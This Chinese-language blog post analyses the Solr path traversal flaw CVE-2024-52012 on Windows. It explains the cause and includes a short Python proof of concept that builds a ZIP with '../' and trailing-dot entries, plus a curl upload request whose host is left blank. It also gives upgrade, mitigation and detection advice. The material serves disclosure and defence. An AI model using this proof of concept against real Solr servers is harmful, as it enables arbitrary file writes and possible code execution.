Solr 文件上传路径遍历漏洞(CVE-2024-52012)分析漏洞成因

Solr 文件上传路径遍历漏洞(CVE-2024-52012)分析漏洞成因

原创 安全圈我最菜wu 安全圈我最菜wu 2025-02-07 16:24

该漏洞影响运行于 Windows 系统 的 Solr 实例,核心问题在于其  configset 上传 API  对上传的 ZIP 文件未进行严格的路径合法性校验。攻击者可通过构造包含 相对路径(如  ../ ) 的恶意 ZIP 文件,将文件写入系统任意位置(如上级目录或系统关键路径)。由于 Windows 对文件路径解析的某些特性(如自动处理末尾的 . ),此类路径遍历攻击在 Windows 环境下更易实现。

影响范围

●   受影响的版本: Solr 6.6 至 9.7.0

●   风险场景: 攻击者可覆盖系统文件、植入恶意代码(如  .class  文件导致 RCE)或破坏应用数据。

漏洞复现步骤详解

  1. 生成恶意 ZIP 文件

使用以下 Python 脚本创建包含路径遍历文件的 ZIP:

import zipfile 

with zipfile.ZipFile(‘exploit.zip’, ‘w’) as zipf:

zipf.writestr(“0.txt”, “正常文件内容”)  # 伪装文件 

zipf.writestr(“../a.txt”, “写入上级目录的文本文件”) 

zipf.writestr(“../a.class.”, “恶意类文件(末尾点绕过检查)”)  # Windows 可能自动去除末尾点

  1. 发送恶意请求

向目标 Solr 实例发送 PUT 请求 上传 ZIP:

curl -X PUT “http://:8983/solr/admin/configs?action=UPLOAD&name=exploit_config&file=exploit.zip”

●   关键参数:

●    action=UPLOAD : 触发配置集上传。

●    name=exploit_config : 指定新配置集名称。

●    file=exploit.zip : 恶意 ZIP 文件。
  1. 验证攻击结果

    ● 检查文件系统:确认在 Solr 安装目录的上级目录中生成  a.txt  和  a.class (Windows 可能自动去除文件名末尾的点)。

    ● 日志分析:查看 Solr 日志中是否有异常上传记录。

修复建议

1.  升级至安全版本: 官方已修复版本 Solr 9.8.0。

2.  临时缓解措施:

●   限制 API 访问: 使用 Solr 的  基于规则的认证插件 ,仅允许受信任的管理员访问  /admin/configs  接口。

●   文件系统权限: 限制 Solr 进程的写入权限,避免其修改系统关键目录。

3.  安全监控: 部署文件完整性检查工具,监控异常文件创建行为。

FAQ

Q1: Linux 系统是否受影响?

●   根据漏洞描述,该漏洞主要针对 Windows 环境。Linux 系统可能因路径处理机制不同而天然防御此类攻击,但仍建议升级以彻底消除风险。

Q2: 如何检测是否被利用?

●   检查 Solr 日志中异常的  UPLOAD  操作记录。

●   搜索文件系统中非常规位置的  .txt  或  .class  文件(如 Solr 安装目录外的  a.txt )。

Q3: 攻击者可能利用此漏洞做什么?

●   覆盖系统文件导致服务瘫痪。

●   植入恶意类文件( .class )实现远程代码执行(RCE)。

●   泄露敏感数据(通过写入后读取)。

Q4: 为何 ZIP 中的文件名使用  ../a.class. ?

●   Windows 允许文件名末尾包含点,但某些处理逻辑会忽略该点,使文件实际保存为  .class ,可能绕过文件类型检查。

通过以上分析,用户应优先升级 Solr 版本,并严格控制敏感 API 的访问权限,同时加强文件系统的监控与防护措施。